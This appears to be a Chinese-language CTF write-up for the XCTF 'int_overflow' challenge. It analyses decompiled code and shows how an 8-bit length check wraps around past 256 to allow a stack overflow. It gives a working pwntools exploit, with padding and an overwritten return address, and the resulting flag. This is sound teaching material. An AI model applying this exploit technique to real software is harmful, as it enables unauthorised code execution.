查看保护和函数逻辑

```
fish@ubuntu:~/Desktop/XCTF$ ./int_overflow
---------------------
~~ Welcome to CTF! ~~
       1.Login
       2.Exit
---------------------
Your choice:1
Please input your username:
fish
Hello fish

Please input your passwd:
2549898751
Invalid Password
fish@ubuntu:~/Desktop/XCTF$
```

```
fish@ubuntu:~/Desktop/XCTF$ checksec int_overflow
[*] '/home/fish/Desktop/XCTF/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
fish@ubuntu:~/Desktop/XCTF$ ./int_overflow
```

丢进 IDA 查看逻辑

漏洞分析(整数溢出加栈溢出)

```
1  char *login()
2  {
3    char buf; // [esp+0h] [ebp-228h]
4    char s; // [esp+200h] [ebp-28h]
5
6    memset(&s, 0, 0x20u);
7    memset(&buf, 0, 0x200u);
8    puts("Please input your username:");
9    read(0, &s, 0x19u);
10   printf("Hello %s\n", &s);
11   puts("Please input your passwd:");
12   read(0, &buf, 0x199u);
13   return check_passwd(&buf);
14 }
```

先看 buf 可以输入的范围是 0x199

然后传入检测函数中，看看检测函数逻辑

```
1  char *__cdecl check_passwd(char *s)
2  {
3    char *result; // eax
4    char dest; // [esp+4h] [ebp-14h]
5    unsigned __int8 v3; // [esp+Fh] [ebp-9
6
7    v3 = strlen(s);
8    if ( v3 <= 3u || v3 > 8u )
9    {
10     puts("Invalid Password");
11     result = (char *)fflush(stdout);
12   }
13   else
14   {
15     puts("Success");
16     fflush(stdout);
17     result = strcpy(&dest, s);
18   }
19   return result;
20 }
```

可以看到当长度在（3，8）之间才会执行成功

那么看看 dest 到栈底的距离：

```
-00000014 dest            db ?
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009 var_9           db ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 s               dd ?                    ; offset
+0000000C
```

到栈底的距离为 0x14 但是无法越过长度（3，8）的判断语句

那么可以用整数溢出

看到 v3

```
unsigned __int8 v3;
```

Int8　就是无符号八位　　范围在（0，255）

当 v3=256 时 v3=0 重新循环

好了 知道如下信息，那么就可以依照这个写 exp 了

```
from pwn import *

#r=process('./int_overflow')

r=remote('111.198.29.45',49278)

payload='a'*0x14+'b'*4+p32(0x0804868B)+'a'*232

r.sendline('1')

r.sendline('fish')

r.recvline('Please input your passwd:')

r.sendline(payload)

r.interactive()
```

得到 flag：

```
fish@ubuntu:~/Desktop/XCTF$ python int_overflow_pwn.py
[+] Opening connection to 111.198.29.45 on port 49278: Done
[*] Switching to interactive mode
~~ Welcome to CTF! ~~
       1.Login
       2.Exit
---------------------
Your choice:Please input your username:
Hello fish

Please input your passwd:
Success
cyberpeace{662c128eb683d6eca4c254cfb8b62a83}
[*] Got EOF while reading in interactive
$
```